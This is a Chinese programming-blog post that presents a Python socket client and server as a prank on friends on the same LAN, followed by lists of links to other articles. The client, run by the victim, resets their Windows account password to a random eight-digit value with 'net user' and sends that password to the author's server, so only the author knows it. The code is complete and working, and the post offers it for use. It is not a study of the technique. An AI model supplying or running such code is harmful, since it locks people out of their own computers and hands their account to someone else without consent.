一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python中的模块导入和读取键盘输入的方法
Oct 16 Python
Python selenium如何设置等待时间
Sep 15 Python
Python Paramiko模块的安装与使用详解
Nov 18 Python
Python使用time模块实现指定时间触发器示例
May 18 Python
Python 获得13位unix时间戳的方法
Oct 20 Python
给你选择Python语言实现机器学习算法的三大理由
Nov 15 Python
Python装饰器用法实例总结
Feb 07 Python
Python使用matplotlib绘制三维图形示例
Aug 25 Python
python实现简单聊天室功能 可以私聊
Jul 12 Python
python爬虫模块URL管理器模块用法解析
Feb 03 Python
python计算导数并绘图的实例
Feb 29 Python
Python实现双向链表基本操作
May 25 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
php定时删除文件夹下文件(清理缓存文件)
2013/01/23 PHP
ThinkPHP的Widget扩展实例
2014/06/19 PHP
php正则preg_replace_callback函数用法实例
2015/06/01 PHP
THinkPHP获取客户端IP与IP地址查询的方法
2016/11/14 PHP
PHP对象实例化单例方法
2017/01/19 PHP
PHP实现图的邻接矩阵表示及几种简单遍历算法分析
2017/11/24 PHP
javascript网页关键字高亮代码
2008/07/30 Javascript
很棒的学习jQuery的12个网站推荐
2011/04/28 Javascript
jquery增加时编辑jqGrid(实例代码)
2013/11/08 Javascript
js模仿hover的具体实现代码
2013/12/30 Javascript
jQuery中replaceAll()方法用法实例
2015/01/16 Javascript
JS获取网页图片name属性的方法
2015/04/01 Javascript
JS获取和修改元素样式的实例代码
2016/08/06 Javascript
Javascript自定义事件详解
2017/01/13 Javascript
史上最全JavaScript常用的简写技巧(推荐)
2017/08/17 Javascript
create-react-app修改为多页面支持的方法
2018/05/17 Javascript
JS基于封装函数实现的表格分页完整示例
2018/06/26 Javascript
react脚手架如何配置less和ant按需加载的方法步骤
2018/11/28 Javascript
vue-cli 项目打包完成后运行文件路径报错问题
2019/07/19 Javascript
vue实现一拉到底的滑动验证
2019/07/25 Javascript
JS中的const命令你真懂它吗
2020/03/08 Javascript
JavaScript实现多球运动效果
2020/09/07 Javascript
[02:15]2014DOTA2国际邀请赛 赛后退役选手回顾
2014/08/01 DOTA
python snownlp情感分析简易demo(分享)
2017/06/04 Python
TensorFlow dataset.shuffle、batch、repeat的使用详解
2020/01/21 Python
python2 对excel表格操作完整示例
2020/02/23 Python
浅谈Python xlwings 读取Excel文件的正确姿势
2021/02/26 Python
苹果美国官方商城:Apple美国
2016/08/24 全球购物
英国休闲奢华的缩影:Crew Clothing
2019/05/05 全球购物
英国最大的汽车配件在线商店:Euro Car Parts
2019/09/30 全球购物
护理专业自我鉴定
2014/01/30 职场文书
《匆匆》教学反思
2014/02/22 职场文书
总经理秘书岗位职责
2014/03/17 职场文书
Spring mvc是如何实现与数据库的前后端的连接操作的?
2021/06/30 Java/Android
js不常见操作运算符总结
2021/11/20 Javascript
日本动漫十大公认神作:第五现已全网禁播,《死亡笔记》在榜
2022/03/18 日漫